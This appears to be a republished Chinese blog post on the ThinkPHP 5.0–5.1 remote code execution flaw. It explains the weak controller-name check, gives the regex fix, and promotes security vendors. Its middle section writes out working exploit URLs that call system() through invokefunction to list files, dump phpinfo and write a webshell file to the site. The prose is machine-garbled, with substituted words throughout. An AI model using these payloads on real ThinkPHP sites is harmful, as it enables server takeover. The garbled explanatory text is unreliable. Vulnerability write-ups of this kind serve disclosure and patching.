thinkphp 最新版本5.0到5.1高危漏洞爆发可直接提权getshell

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了thinkphp 最新版本5.0到5.1高危漏洞爆发可直接提权getshell相关的知识,希望对你有一定的参考价值。

THINKPHP毛病修复,官方于克日,对现有的thinkphp5.0到5.1全部版本举行了升级,以及补丁更新,这次更新重要是举行了一些毛病修复,最严峻的就是之前存在的SQL注入毛病,以及长途代码实行查询体系的毛病都举行了修复,官方本以为没有题目了,但是在现实的宁静检测当中发明,照旧存在题目,照旧可以长途代码举行注入,插入非法字符,提交到办事器后端中去。

关于这次发明的oday毛病,我们来看下官方之前更新的代码文件是怎么样的,更新的步伐文件路径是library文件夹下的think目次里的app.php,如下图:

毛病产生的缘故原由就在于这个控制器这里,整个thinkphp框架里的功效对控制器没有举行严酷的宁静过滤于查抄,使打击者可以伪造恶意参数举行逼迫插入,最基础的缘故原由就是正则的表达式写的欠好,导致可以绕过。

在controller获取控制器后,直接举行赋值,但是并没有对控制器的名举行严酷的检测,导致可以利用斜杠等特别标记来长途代码注入。

我们来搭建一下网站的情况,apache+mysql+Linux centos体系,搭建好的测试情况地点是http://127.0.01/anquan ,我们可以直接在index.php背面伪造打击参数,示比方下:

http://127.0.0.1/anquan/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l

直接get方法提交到网站中去,可以直接查询到网站当前根目次的全部文件,截图如下:

通过该毛病也可以直接长途代码注入实行phpinfo语句,查询当前的php版本,路径,扩展,以及php.ini存放的地点,都可以看得到,结构如下代码即可。

http://127.0.0.1/anquan/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20\'phpinfo();\'

有些人大概会问了,既然都可以phpinfo,查询目次文件,可不可以getshell写网站木马文件到网站里呢? 答案是可以的,我们测试的时间是以一句话木马代码的写入到safe.php文件里。

http://127.0.0.1/anquan/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27%27%20>%20safe.php

关于这次thinkphp的毛病使用以及阐发到此就竣事了,该毛病属于高危毛病,危害严峻性较大,许多升级更新补丁的网站都市受到打击,乃至有些网站会被挂马,那么该怎样修复thinkphp的毛病呢?更换之前的正规矩表达式即可,还必要对网站的目次举行权限摆设,防备天生php文件,对网站上的毛病举行修复,大概是对网站宁静防护参数举行重新设置,使他切合其时的网站情况。假如不懂怎样修复网站毛病,也可以找专业的网站宁静公司来处置惩罚,海内如Sinesafe和绿盟、启明星辰等宁静公司比力专业.

针对付这个环境,我们要对其library/think/App.php代码里的正规矩表达式举行变动,if (!preg_match(\'/^[A-Za-z][\\w\\.]*$/\', $controller)) { throw new HttpException(404, \'controller not exists:\' . $controller); }

解决方法:

\'url_route_on\'           => true,

 

以上是关于thinkphp 最新版本5.0到5.1高危漏洞爆发可直接提权getshell的主要内容,如果未能解决你的问题,请参考以下文章

ThinkPHP 5.x远程命令执行漏洞分析与复现

ThinkPHP V5(漏洞解析及利用)及tornado知识点

Thinkphp最新的3.2系列版本都有哪些漏洞

紧急Struts 2再爆高危漏洞,解决方案一览

同志们 thinkphp 有dps远程高危漏洞吗

安全预警Apache Struts2 再爆高危漏洞(S2-057)创宇盾无需升级即可防御